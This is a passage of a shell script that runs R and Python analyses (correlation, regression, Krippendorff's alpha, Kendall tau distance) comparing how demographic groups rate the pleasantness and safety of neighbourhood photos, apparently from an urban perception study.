Rscript analisaCorrelacao.R inputCorrelacaoRegressao100/rgbQScoreAgradAll.dat inputCorrelacaoRegressao100/rgbQScoreSegAll.dat > correlacaoAll.dat
Rscript analisaCorrelacao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllMedia.dat inputCorrelacaoRegressao100/rgbQScoreSegMedia.dat > correlacaoMedia.dat
Rscript analisaCorrelacao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllBaixa.dat inputCorrelacaoRegressao100/rgbQScoreSegBaixa.dat > correlacaoBaixa.dat
Rscript analisaCorrelacao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllSolteiro.dat inputCorrelacaoRegressao100/rgbQScoreSegAllSolteiro.dat > correlacaoSolteiro.dat
Rscript analisaCorrelacao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllCasado.dat inputCorrelacaoRegressao100/rgbQScoreSegAllCasado.dat > correlacaoCasado.dat
Rscript analisaCorrelacao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllJovem.dat inputCorrelacaoRegressao100/rgbQScoreSegJovem.dat > correlacaoAllJovem.dat
Rscript analisaCorrelacao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllAdulto.dat inputCorrelacaoRegressao100/rgbQScoreSegAllAdulto.dat > correlacaoAdulto.dat
Rscript analisaCorrelacao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllFeminino.dat inputCorrelacaoRegressao100/rgbQScoreSegAllFeminino.dat > correlacaoFeminino.dat
Rscript analisaCorrelacao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllMasculino.dat inputCorrelacaoRegressao100/rgbQScoreSegAllMasculino.dat > correlacaoMasculino.dat
Rscript analisaCorrelacao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllMedio.dat inputCorrelacaoRegressao100/rgbQScoreSegAllMedio.dat > correlacaoMedio.dat
Rscript analisaCorrelacao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllPos.dat inputCorrelacaoRegressao100/rgbQScoreSegAllPos.dat > correlacaoPos.dat
#TODO adicionar conhecer bairros e arquivos com all
mv *.pdf correlacao*.dat correlacao100/
#Analisa Regressao
Rscript analisaRegressao.R inputCorrelacaoRegressao100/rgbQScoreAgradAll.dat inputCorrelacaoRegressao100/rgbQScoreSegAll.dat > regressaoAll.dat
Rscript analisaRegressao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllMedia.dat inputCorrelacaoRegressao100/rgbQScoreSegAllMedia.dat > regressaoMedia.dat
Rscript analisaRegressao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllBaixa.dat inputCorrelacaoRegressao100/rgbQScoreSegAllBaixa.dat > regressaoBaixa.dat
Rscript analisaRegressao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllSolteiro.dat inputCorrelacaoRegressao100/rgbQScoreSegAllSolteiro.dat > regressaoSolteiro.dat
Rscript analisaRegressao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllCasado.dat inputCorrelacaoRegressao100/rgbQScoreSegAllCasado.dat > regressaoCasado.dat
Rscript analisaRegressao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllJovem.dat inputCorrelacaoRegressao100/rgbQScoreSegAllJovem.dat > regressaoJovem.dat
Rscript analisaRegressao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllAdulto.dat inputCorrelacaoRegressao100/rgbQScoreSegAllAdulto.dat > regressaoAdulto.dat
Rscript analisaRegressao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllFeminino.dat inputCorrelacaoRegressao100/rgbQScoreSegAllFeminino.dat > regressaoFeminino.dat
Rscript analisaRegressao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllMasculino.dat inputCorrelacaoRegressao100/rgbQScoreSegAllMasculino.dat > regressaoMasculino.dat
Rscript analisaRegressao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllMedio.dat inputCorrelacaoRegressao100/rgbQScoreSegAllMedio.dat > regressaoMedio.dat
Rscript analisaRegressao.R inputCorrelacaoRegressao100/rgbQScoreAgradAllPos.dat inputCorrelacaoRegressao100/rgbQScoreSegAllPos.dat > regressaoPos.dat
#TODO adicionar conhecer bairros e arquivos com all
mv *.pdf regressao*.dat regressao100/
#Calcula ICs por ponto para cada grupo
Rscript analisaICPorFoto.R allSolteiroOrdInter.dat allCasadoOrdInter.dat solteiro casado
#head -n 1 teste1.txt > allICSolteiroCentro.dat
#head -n 1 teste1.txt > allICSolteiroLib.dat
#head -n 1 teste1.txt > allICSolteiroCat.dat
#grep "centro" teste1.txt >> allICSolteiroCentro.dat
#grep "liberdade" teste1.txt >> allICSolteiroLib.dat
#grep "catole" teste1.txt >> allICSolteiroCat.dat
#head -n 1 teste2.txt > allICCasadoCentro.dat
#head -n 1 teste2.txt > allICCasadoLib.dat
#head -n 1 teste2.txt > allICCasadoCat.dat
#grep "centro" teste2.txt >> allICCasadoCentro.dat
#grep "liberdade" teste2.txt >> allICCasadoLib.dat
#grep "catole" teste2.txt >> allICCasadoCat.dat
mv teste1.txt allICSolteiro.dat
mv teste2.txt allICCasado.dat
Rscript analisaICPorFoto.R allBaixaOrdInter.dat allMediaOrdInter.dat baixa media
#head -n 1 teste1.txt > allICBaixaCentro.dat
#head -n 1 teste1.txt > allICBaixaLib.dat
#head -n 1 teste1.txt > allICBaixaCat.dat
#grep "centro" teste1.txt >> allICBaixaCentro.dat
#grep "liberdade" teste1.txt >> allICBaixaLib.dat
#grep "catole" teste1.txt >> allICBaixaCat.dat
#head -n 1 teste2.txt > allICMediaCentro.dat
#head -n 1 teste2.txt > allICMediaLib.dat
#head -n 1 teste2.txt > allICMediaCat.dat
#grep "centro" teste2.txt >> allICMediaCentro.dat
#grep "liberdade" teste2.txt >> allICMediaLib.dat
#grep "catole" teste2.txt >> allICMediaCat.dat
mv teste1.txt allICBaixa.dat
mv teste2.txt allICMedia.dat
Rscript analisaICPorFoto.R allFemininoOrdInter.dat allMasculinoOrdInter.dat feminino masculino
#head -n 1 teste1.txt > allICFemininoCentro.dat
#head -n 1 teste1.txt > allICFemininoLib.dat
#head -n 1 teste1.txt > allICFemininoCat.dat
#grep "centro" teste1.txt >> allICFemininoCentro.dat
#grep "liberdade" teste1.txt >> allICFemininoLib.dat
#grep "catole" teste1.txt >> allICFemininoCat.dat
#head -n 1 teste2.txt > allICMasculinoCentro.dat
#head -n 1 teste2.txt > allICMasculinoLib.dat
#head -n 1 teste2.txt > allICMasculinoCat.dat
#grep "centro" teste2.txt >> allICMasculinoCentro.dat
#grep "liberdade" teste2.txt >> allICMasculinoLib.dat
#grep "catole" teste2.txt >> allICMasculinoCat.dat
mv teste1.txt allICFeminino.dat
mv teste2.txt allICMasculino.dat
Rscript analisaICPorFoto.R allAdultoOrdInter.dat allJovemOrdInter.dat adulto jovem
#head -n 1 teste1.txt > allICAdultoCentro.dat
#head -n 1 teste1.txt > allICAdultoLib.dat
#head -n 1 teste1.txt > allICAdultoCat.dat
#grep "centro" teste1.txt >> allICAdultoCentro.dat
#grep "liberdade" teste1.txt >> allICAdultoLib.dat
#grep "catole" teste1.txt >> allICAdultoCat.dat
#head -n 1 teste2.txt > allICJovemCentro.dat
#head -n 1 teste2.txt > allICJovemLib.dat
#head -n 1 teste2.txt > allICJovemCat.dat
#grep "centro" teste2.txt >> allICJovemCentro.dat
#grep "liberdade" teste2.txt >> allICJovemLib.dat
#grep "catole" teste2.txt >> allICJovemCat.dat
mv teste1.txt allICAdulto.dat
mv teste2.txt allICJovem.dat
Rscript analisaICPorFoto.R allMedioOrdInter.dat allPosOrdInter.dat medio pos
mv teste1.txt allICMedio.dat
mv teste2.txt allICPos.dat
#Krippendorfs alpha for general data (falta revisar)
python preparaConsenso.py usersInfo.dat
Rscript krippMoran.R kripp consenseMatrixAgra.dat consenseMatrixSeg.dat > kripp.dat
#Kripp por grupo
python preparaConsenso.py usersInfo.dat adulto.dat
mv consenseMatrixAgra.dat consenseMatrixAgraAdulto.dat
mv consenseMatrixSeg.dat consenseMatrixSegAdulto.dat
echo "Adulto" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraAdulto.dat consenseMatrixSegAdulto.dat >> krippAll.dat
python preparaConsenso.py usersInfo.dat jovem.dat
mv consenseMatrixAgra.dat consenseMatrixAgraJovem.dat
mv consenseMatrixSeg.dat consenseMatrixSegJovem.dat
echo "Jovem" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraJovem.dat consenseMatrixSegJovem.dat >> krippAll.dat
python preparaConsenso.py usersInfo.dat jovem.dat adulto.dat
mv consenseMatrixAgra.dat consenseMatrixAgraJovemAdulto.dat
mv consenseMatrixSeg.dat consenseMatrixSegJovemAdulto.dat
echo "Jovem e Adulto" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraJovemAdulto.dat consenseMatrixSegJovemAdulto.dat >> krippAll.dat
python preparaConsenso.py usersInfo.dat casado.dat
mv consenseMatrixAgra.dat consenseMatrixAgraCasado.dat
mv consenseMatrixSeg.dat consenseMatrixSegCasado.dat
echo "Casado" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraCasado.dat consenseMatrixSegCasado.dat >> krippAll.dat
python preparaConsenso.py usersInfo.dat solteiro.dat
mv consenseMatrixAgra.dat consenseMatrixAgraSolteiro.dat
mv consenseMatrixSeg.dat consenseMatrixSegSolteiro.dat
echo "Solteiro" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraSolteiro.dat consenseMatrixSegSolteiro.dat >> krippAll.dat
python preparaConsenso.py usersInfo.dat casado.dat solteiro.dat
mv consenseMatrixAgra.dat consenseMatrixAgraCasadoSolteiro.dat
mv consenseMatrixSeg.dat consenseMatrixSegCasadoSolteiro.dat
echo "CAsado e Solteiro" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraCasadoSolteiro.dat consenseMatrixSegCasadoSolteiro.dat >> krippAll.dat
python preparaConsenso.py usersInfo.dat baixa.dat
mv consenseMatrixAgra.dat consenseMatrixAgraBaixa.dat
mv consenseMatrixSeg.dat consenseMatrixSegBaixa.dat
echo "Baixa" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraBaixa.dat consenseMatrixSegBaixa.dat >> krippAll.dat
python preparaConsenso.py usersInfo.dat media.dat
mv consenseMatrixAgra.dat consenseMatrixAgraMedia.dat
mv consenseMatrixSeg.dat consenseMatrixSegMedia.dat
echo "Media" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraMedia.dat consenseMatrixSegMedia.dat >> krippAll.dat
python preparaConsenso.py usersInfo.dat baixa.dat media.dat
mv consenseMatrixAgra.dat consenseMatrixAgraBaixaMedia.dat
mv consenseMatrixSeg.dat consenseMatrixSegBaixaMedia.dat
echo "Baixa e Media" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraBaixaMedia.dat consenseMatrixSegBaixaMedia.dat >> krippAll.dat
python preparaConsenso.py usersInfo.dat feminino.dat
mv consenseMatrixAgra.dat consenseMatrixAgraFeminino.dat
mv consenseMatrixSeg.dat consenseMatrixSegFeminino.dat
echo "Feminino" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraFeminino.dat consenseMatrixSegFeminino.dat >> krippAll.dat
python preparaConsenso.py usersInfo.dat masculino.dat
mv consenseMatrixAgra.dat consenseMatrixAgraMasculino.dat
mv consenseMatrixSeg.dat consenseMatrixSegMasculino.dat
echo "Masculino" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraMasculino.dat consenseMatrixSegMasculino.dat >> krippAll.dat
python preparaConsenso.py usersInfo.dat feminino.dat masculino.dat
mv consenseMatrixAgra.dat consenseMatrixAgraFemininoMasculino.dat
mv consenseMatrixSeg.dat consenseMatrixSegFemininoMasculino.dat
echo "Feminino e Masculino" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraFemininoMasculino.dat consenseMatrixSegFemininoMasculino.dat >> krippAll.dat
python preparaConsenso.py usersInfo.dat medio.dat
mv consenseMatrixAgra.dat consenseMatrixAgraMedio.dat
mv consenseMatrixSeg.dat consenseMatrixSegMedio.dat
echo "Medio" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraMedio.dat consenseMatrixSegMedio.dat >> krippAll.dat
python preparaConsenso.py usersInfo.dat posgrad.dat
mv consenseMatrixAgra.dat consenseMatrixAgraPos.dat
mv consenseMatrixSeg.dat consenseMatrixSegPos.dat
echo "Pos" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraPos.dat consenseMatrixSegPos.dat >> krippAll.dat
python preparaConsenso.py usersInfo.dat medio.dat posgrad.dat
mv consenseMatrixAgra.dat consenseMatrixAgraMedioPos.dat
mv consenseMatrixSeg.dat consenseMatrixSegMedioPos.dat
echo "Medio e Pos" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraMedioPos.dat consenseMatrixSegMedioPos.dat >> krippAll.dat
mkdir consense100
mv consenseMatrix*.dat krippAll.dat kripp.dat consense100
mv alta.dat baixa.dat adulto.dat jovem.dat solteiro.dat casado.dat feminino.dat masculino.dat catole.dat centro.dat liberdade.dat notcentro.dat notliberdade.dat notcatole.dat idsGrupos
#Kendall tau distance
rm -f kendall.dat kendalAll.dat
#grep "agrad" first_vote_ordenado.dat > agradGeral.dat #General ranking data
#grep "seg" first_vote_ordenado.dat > segGeral.dat
grep "agrad" all_ordenado.dat > agradGeralAll.dat #General ranking data
grep "seg" all_ordenado.dat > segGeralAll.dat
#echo "First" > kendall.dat
#Rscript kendallDistance.R agradGeral.dat segGeral.dat >> kendall.dat
echo "All" >> kendall.dat
Rscript kendallDistance.R agradGeralAll.dat segGeralAll.dat >> kendallAll.dat
#Casados e Solteiros
#echo " Cas x Solteiro Agrad" >> kendall.dat
#grep "agrad" firsCasadoOrdInter.dat > ranking1.dat
#grep "agrad" firsSolteiroOrdInter.dat > ranking2.dat
#Rscript kendallDistance.R ranking1.dat ranking2.dat >> kendall.dat
echo " Cas x Solteiro Agrad" >> kendallAll.dat
grep "agrad" allCasadoOrdInter.dat > kendallAgradAllCasado.dat
grep "agrad" allSolteiroOrdInter.dat > kendallAgradAllSolteiro.dat
Rscript kendallDistance.R kendallAgradAllCasado.dat kendallAgradAllSolteiro.dat >> kendallAll.dat
#Selecting photos from general ranking that were considered in current rankings
#echo " Cas x Geral Agrad" >> kendall.dat
#awk '{print $2}' ranking1.dat > temp.dat
#rm -f ranking3.dat
#while read photo ; do
# grep $photo agradGeral.dat >> ranking3.dat
#done < temp.dat
#sort -k 3 -r ranking3.dat > ranking3Ord.dat
#Rscript kendallDistance.R ranking1.dat ranking3Ord.dat >> kendall.dat
#echo " Sol x Geral Agrad" >> kendall.dat
#Rscript kendallDistance.R ranking2.dat ranking3Ord.dat >> kendall.dat
echo " Cas x Geral Agrad" >> kendallAll.dat
awk '{print $2}' kendallAgradAllCasado.dat > temp.dat
rm -f ranking3.dat
while read photo ; do
grep $photo agradGeralAll.dat >> ranking3.dat
done < temp.dat
sort -k 3 -r ranking3.dat > kendallAgradAllGeralCasado.dat
Rscript kendallDistance.R kendallAgradAllCasado.dat kendallAgradAllGeralCasado.dat >> kendallAll.dat
echo " Sol x Geral Agrad" >> kendallAll.dat
Rscript kendallDistance.R kendallAgradAllSolteiro.dat kendallAgradAllGeralCasado.dat >> kendallAll.dat
#echo " Cas x Solteiro Seg" >> kendall.dat
#grep "seg" firsCasadoOrdInter.dat > ranking1.dat
#grep "seg" firsSolteiroOrdInter.dat > ranking2.dat
#Rscript kendallDistance.R ranking1.dat ranking2.dat >> kendall.dat
echo " Cas x Solteiro Seg" >> kendallAll.dat
grep "seg" allCasadoOrdInter.dat > kendallSegAllCasado.dat
grep "seg" allSolteiroOrdInter.dat > kendallSegAllSolteiro.dat
Rscript kendallDistance.R kendallSegAllCasado.dat kendallSegAllSolteiro.dat >> kendallAll.dat
#echo " Cas x Geral Seg" >> kendall.dat
#awk '{print $2}' kendallSegAllCasado.dat > temp.dat
#rm ranking3.dat
#while read photo ; do
# grep $photo segGeral.dat >> ranking3.dat
#done < temp.dat
#sort -k 3 -r ranking3.dat > kendallSegAllGeralCasado.dat
#Rscript kendallDistance.R ranking1.dat ranking3Ord.dat >> kendall.dat
#echo " Sol x Geral Seg" >> kendall.dat
#Rscript kendallDistance.R ranking2.dat ranking3Ord.dat >> kendall.dat
echo " Cas x Geral Seg" >> kendallAll.dat
awk '{print $2}' kendallSegAllCasado.dat > temp.dat
rm ranking3.dat
while read photo ; do
grep $photo segGeralAll.dat >> ranking3.dat
done < temp.dat
sort -k 3 -r ranking3.dat > kendallSegAllGeralCasado.dat
Rscript kendallDistance.R kendallSegAllCasado.dat kendallSegAllGeralCasado.dat >> kendallAll.dat
echo " Sol x Geral Seg" >> kendallAll.dat
Rscript kendallDistance.R kendallSegAllSolteiro.dat kendallSegAllGeralCasado.dat >> kendallAll.dat
#Baixa e Media
#echo " Baixa x Media Agrad" >> kendall.dat
#grep "agrad" firsBaixaOrdInter.dat > ranking1.dat
#grep "agrad" firsMediaOrdInter.dat > ranking2.dat
#Rscript kendallDistance.R ranking1.dat ranking2.dat >> kendall.dat
echo " Baixa x Media Agrad" >> kendallAll.dat
grep "agrad" allBaixaOrdInter.dat > kendallAgradAllBaixa.dat
grep "agrad" allMediaOrdInter.dat > kendallAgradAllMedia.dat
Rscript kendallDistance.R kendallAgradAllBaixa.dat kendallAgradAllMedia.dat >> kendallAll.dat
#echo " Baixa x Geral Agrad" >> kendall.dat
#awk '{print $2}' ranking1.dat > temp.dat
#rm ranking3.dat
#while read photo ; do
# grep $photo agradGeral.dat >> ranking3.dat
#done < temp.dat
#sort -k 3 -r ranking3.dat > ranking3Ord.dat
#Rscript kendallDistance.R ranking1.dat ranking3Ord.dat >> kendall.dat
#echo " Media x Geral Agrad" >> kendall.dat
#Rscript kendallDistance.R ranking2.dat ranking3Ord.dat >> kendall.dat
echo " Baixa x Geral Agrad" >> kendallAll.dat
awk '{print $2}' kendallAgradAllBaixa.dat > temp.dat
rm ranking3.dat
while read photo ; do
grep $photo agradGeralAll.dat >> ranking3.dat
done < temp.dat
sort -k 3 -r ranking3.dat > kendallAgradAllGeralBaixa.dat
Rscript kendallDistance.R kendallAgradAllBaixa.dat kendallAgradAllGeralBaixa.dat >> kendallAll.dat
echo " Media x Geral Agrad" >> kendallAll.dat
Rscript kendallDistance.R kendallAgradAllMedia.dat kendallAgradAllGeralBaixa.dat >> kendallAll.dat
#echo " Baixa x Media Seg" >> kendall.dat
#grep "seg" firsBaixaOrdInter.dat > ranking1.dat
#grep "seg" firsMediaOrdInter.dat > ranking2.dat
#Rscript kendallDistance.R ranking1.dat ranking2.dat >> kendall.dat
echo " Baixa x Media Agrad" >> kendallAll.dat
grep "seg" allBaixaOrdInter.dat > kendallSegAllBaixa.dat
grep "seg" allMediaOrdInter.dat > kendallSegAllMedia.dat
Rscript kendallDistance.R kendallSegAllBaixa.dat kendallSegAllMedia.dat >> kendallAll.dat
#echo " Baixa x Geral Seg" >> kendall.dat
#awk '{print $2}' ranking1.dat > temp.dat
#rm ranking3.dat
#while read photo ; do
# grep $photo segGeral.dat >> ranking3.dat
#done < temp.dat
#sort -k 3 -r ranking3.dat > ranking3Ord.dat
#Rscript kendallDistance.R ranking1.dat ranking3Ord.dat >> kendall.dat
#echo " Media x Geral Seg" >> kendall.dat
#Rscript kendallDistance.R ranking2.dat ranking3Ord.dat >> kendall.dat
echo " Baixa x Geral Seg" >> kendallAll.dat
awk '{print $2}' kendallSegAllBaixa.dat > temp.dat
rm ranking3.dat
while read photo ; do
grep $photo segGeralAll.dat >> ranking3.dat
done < temp.dat
sort -k 3 -r ranking3.dat > kendallSegAllGeralBaixa.dat
Rscript kendallDistance.R kendallSegAllBaixa.dat kendallSegAllGeralBaixa.dat >> kendallAll.dat
echo " Media x Geral Seg" >> kendallAll.dat
Rscript kendallDistance.R kendallSegAllMedia.dat kendallSegAllGeralBaixa.dat >> kendallAll.dat
#Fem e Masc
#echo " Fem x Masc Agrad" >> kendall.dat
#grep "agrad" firsFemininoOrdInter.dat > ranking1.dat
#grep "agrad" firsMasculinoOrdInter.dat > ranking2.dat
#Rscript kendallDistance.R ranking1.dat ranking2.dat >> kendall.dat
echo " Fem x Masc Agrad" >> kendallAll.dat
grep "agrad" allFemininoOrdInter.dat > kendallAgradAllFeminino.dat
grep "agrad" allMasculinoOrdInter.dat > kendallAgradAllMasculino.dat
Rscript kendallDistance.R kendallAgradAllFeminino.dat kendallAgradAllMasculino.dat >> kendallAll.dat
#echo " Fem x Geral Agrad" >> kendall.dat
#awk '{print $2}' ranking1.dat > temp.dat
#rm ranking3.dat
#while read photo ; do
# grep $photo agradGeral.dat >> ranking3.dat
#done < temp.dat
#sort -k 3 -r ranking3.dat > ranking3Ord.dat
#Rscript kendallDistance.R ranking1.dat ranking3Ord.dat >> kendall.dat
#echo " Masc x Geral Agrad" >> kendall.dat
#Rscript kendallDistance.R ranking2.dat ranking3Ord.dat >> kendall.dat
echo " Fem x Geral Agrad" >> kendallAll.dat
awk '{print $2}' kendallAgradAllFeminino.dat > temp.dat
rm ranking3.dat
while read photo ; do
grep $photo agradGeralAll.dat >> ranking3.dat
done < temp.dat
sort -k 3 -r ranking3.dat > kendallAgradAllGeralFeminino.dat
Rscript kendallDistance.R kendallAgradAllFeminino.dat kendallAgradAllGeralFeminino.dat >> kendallAll.dat
echo " Masc x Geral Agrad" >> kendallAll.dat
Rscript kendallDistance.R kendallAgradAllMasculino.dat kendallAgradAllGeralFeminino.dat >> kendallAll.dat
#echo " Fem x Masc Seg" >> kendall.dat
#grep "seg" firsFemininoOrdInter.dat > ranking1.dat
#grep "seg" firsMasculinoOrdInter.dat > ranking2.dat
#Rscript kendallDistance.R ranking1.dat ranking2.dat >> kendall.dat
echo " Fem x Masc Seg" >> kendallAll.dat
grep "seg" allFemininoOrdInter.dat > kendallSegAllFeminino.dat
grep "seg" allMasculinoOrdInter.dat > kendallSegAllMasculino.dat
Rscript kendallDistance.R kendallSegAllFeminino.dat kendallSegAllMasculino.dat >> kendallAll.dat
#echo " Fem x Geral Seg" >> kendall.dat
#awk '{print $2}' ranking1.dat > temp.dat
#rm ranking3.dat
#while read photo ; do
# grep $photo segGeral.dat >> ranking3.dat
#done < temp.dat
#sort -k 3 -r ranking3.dat > ranking3Ord.dat
#Rscript kendallDistance.R ranking1.dat ranking3Ord.dat >> kendall.dat
#echo " Masc x Geral Seg" >> kendall.dat
#Rscript kendallDistance.R ranking2.dat ranking3Ord.dat >> kendall.dat
echo " Fem x Geral Seg" >> kendallAll.dat
awk '{print $2}' kendallSegAllFeminino.dat > temp.dat
rm ranking3.dat
while read photo ; do
grep $photo segGeralAll.dat >> ranking3.dat
done < temp.dat
sort -k 3 -r ranking3.dat > kendallSegAllGeralFeminino.dat
Rscript kendallDistance.R kendallSegAllFeminino.dat kendallSegAllGeralFeminino.dat >> kendallAll.dat
echo " Masc x Geral Seg" >> kendallAll.dat
Rscript kendallDistance.R kendallSegAllMasculino.dat kendallSegAllGeralFeminino.dat >> kendallAll.dat
#Jovem e Adulto
#echo " Jov x Adu Agrad" >> kendall.dat
#grep "agrad" firsJovemOrdInter.dat > ranking1.dat
#grep "agrad" firsAdultoOrdInter.dat > ranking2.dat
#Rscript kendallDistance.R ranking1.dat ranking2.dat >> kendall.dat
echo " Jovem x Adulto Agrad" >> kendallAll.dat
grep "agrad" allJovemOrdInter.dat > kendallAgradAllJovem.dat
grep "agrad" allAdultoOrdInter.dat > kendallAgradAllAdulto.dat
Rscript kendallDistance.R kendallAgradAllJovem.dat kendallAgradAllAdulto.dat >> kendallAll.dat
#echo " Jovem x Geral Agrad" >> kendall.dat
#awk '{print $2}' ranking1.dat > temp.dat
#rm ranking3.dat
#while read photo ; do
# grep $photo agradGeral.dat >> ranking3.dat
#done < temp.dat
#sort -k 3 -r ranking3.dat > ranking3Ord.dat
#Rscript kendallDistance.R ranking1.dat ranking3Ord.dat >> kendall.dat
#echo " Adulto x Geral Agrad" >> kendall.dat
#Rscript kendallDistance.R ranking2.dat ranking3Ord.dat >> kendall.dat
echo " Jovem x Geral Agrad" >> kendallAll.dat
awk '{print $2}' kendallAgradAllJovem.dat > temp.dat
rm ranking3.dat
while read photo ; do
grep $photo agradGeralAll.dat >> ranking3.dat
done < temp.dat
sort -k 3 -r ranking3.dat > kendallAgradAllGeralJovem.dat
Rscript kendallDistance.R kendallAgradAllJovem.dat kendallAgradAllGeralJovem.dat >> kendallAll.dat
echo " Adulto x Geral Agrad" >> kendallAll.dat
Rscript kendallDistance.R kendallAgradAllAdulto.dat kendallAgradAllGeralJovem.dat >> kendallAll.dat
#echo " Jov x Adu Seg" >> kendall.dat
#grep "seg" firsJovemOrdInter.dat > ranking1.dat
#grep "seg" firsAdultoOrdInter.dat > ranking2.dat
#Rscript kendallDistance.R ranking1.dat ranking2.dat >> kendall.dat
echo " Jovem x Adulto Seg" >> kendallAll.dat
grep "seg" allJovemOrdInter.dat > kendallSegAllJovem.dat
grep "seg" allAdultoOrdInter.dat > kendallSegAllAdulto.dat
Rscript kendallDistance.R kendallSegAllJovem.dat kendallSegAllAdulto.dat >> kendallAll.dat
#echo " Jovem x Geral Seg" >> kendall.dat
#awk '{print $2}' ranking1.dat > temp.dat
#rm ranking3.dat
#while read photo ; do
# grep $photo segGeral.dat >> ranking3.dat
#done < temp.dat
#sort -k 3 -r ranking3.dat > ranking3Ord.dat
#Rscript kendallDistance.R ranking1.dat ranking3Ord.dat >> kendall.dat
#echo " Adulto x Geral Seg" >> kendall.dat
#Rscript kendallDistance.R ranking2.dat ranking3Ord.dat >> kendall.dat
echo " Jovem x Geral Seg" >> kendallAll.dat
awk '{print $2}' kendallSegAllJovem.dat > temp.dat
rm ranking3.dat
while read photo ; do
grep $photo segGeralAll.dat >> ranking3.dat
done < temp.dat
sort -k 3 -r ranking3.dat > kendallSegAllGeralJovem.dat
Rscript kendallDistance.R kendallSegAllJovem.dat kendallSegAllGeralJovem.dat >> kendallAll.dat
echo " Adulto x Geral Seg" >> kendallAll.dat
Rscript kendallDistance.R kendallSegAllAdulto.dat kendallSegAllGeralJovem.dat >> kendallAll.dat
#Centro e Not Centro
#echo " Centro x Not Centro Agrad" >> kendall.dat
#grep "agrad" firsCentroOrdInter.dat > ranking1.dat
#grep "agrad" firsNotCentroOrdInter.dat > ranking2.dat
#Rscript kendallDistance.R ranking1.dat ranking2.dat >> kendall.dat
echo " Medio x Pos Agrad" >> kendallAll.dat
grep "agrad" allMedioOrdInter.dat > kendallAgradAllMedio.dat
grep "agrad" allPosOrdInter.dat > kendallAgradAllPos.dat
Rscript kendallDistance.R kendallAgradAllMedio.dat kendallAgradAllPos.dat >> kendallAll.dat
echo " Medio x Geral Agrad" >> kendallAll.dat
awk '{print $2}' kendallAgradAllMedio.dat > temp.dat
rm ranking3.dat
while read photo ; do
grep $photo agradGeralAll.dat >> ranking3.dat
done < temp.dat
sort -k 3 -r ranking3.dat > kendallAgradAllGeralMedio.dat
Rscript kendallDistance.R kendallAgradAllMedio.dat kendallAgradAllGeralMedio.dat >> kendallAll.dat
echo " Pos x Geral Agrad" >> kendallAll.dat
Rscript kendallDistance.R kendallAgradAllPos.dat kendallAgradAllGeralMedio.dat >> kendallAll.dat
echo " Medio x Pos Seg" >> kendallAll.dat
grep "seg" allMedioOrdInter.dat > kendallSegAllMedio.dat
grep "seg" allPosOrdInter.dat > kendallSegAllPos.dat
Rscript kendallDistance.R kendallSegAllMedio.dat kendallSegAllPos.dat >> kendallAll.dat
echo " Medio x Geral Seg" >> kendallAll.dat
awk '{print $2}' kendallSegAllMedio.dat > temp.dat
rm ranking3.dat
while read photo ; do
grep $photo segGeralAll.dat >> ranking3.dat
done < temp.dat
sort -k 3 -r ranking3.dat > kendallSegAllGeralMedio.dat
Rscript kendallDistance.R kendallSegAllMedio.dat kendallSegAllGeralMedio.dat >> kendallAll.dat
echo " Pos x Geral Seg" >> kendallAll.dat
Rscript kendallDistance.R kendallSegAllPos.dat kendallSegAllGeralMedio.dat >> kendallAll.dat
echo " Centro x Not Centro Agrad" >> kendallAll.dat
grep "agrad" allCentroOrdInter.dat > kendallAgradAllCentro.dat
grep "agrad" allNotCentroOrdInter.dat > kendallAgradAllNotCentro.dat
Rscript kendallDistance.R kendallAgradAllCentro.dat kendallAgradAllNotCentro.dat >> kendallAll.dat
#echo " Centro x Not Centro Seg" >> kendall.dat
#grep "seg" firsCentroOrdInter.dat > ranking1.dat
#grep "seg" firsNotCentroOrdInter.dat > ranking2.dat
#Rscript kendallDistance.R ranking1.dat ranking2.dat >> kendall.dat
echo " Centro x Not Centro Seg" >> kendallAll.dat
grep "seg" allCentroOrdInter.dat > kendallSegAllCentro.dat
grep "seg" allNotCentroOrdInter.dat > kendallSegAllNotCentro.dat
Rscript kendallDistance.R kendallSegAllCentro.dat kendallSegAllNotCentro.dat >> kendallAll.dat
#Catole e Not Catole
#echo " Catole x Not Catole Agrad" >> kendall.dat
#grep "agrad" firsCatoleOrdInter.dat > ranking1.dat
#grep "agrad" firsNotCatoleOrdInter.dat > ranking2.dat
#Rscript kendallDistance.R ranking1.dat ranking2.dat >> kendall.dat
echo " Catole x Not Catole Agrad" >> kendallAll.dat
grep "agrad" allCatoleOrdInter.dat > kendallAgradAllCatole.dat
grep "agrad" allNotCatoleOrdInter.dat > kendallAgradAllNotCatole.dat
Rscript kendallDistance.R kendallAgradAllCatole.dat kendallAgradAllNotCatole.dat >> kendallAll.dat
#echo " Catole x Not Catole Seg" >> kendall.dat
#grep "seg" firsCatoleOrdInter.dat > ranking1.dat
#grep "seg" firsNotCatoleOrdInter.dat > ranking2.dat
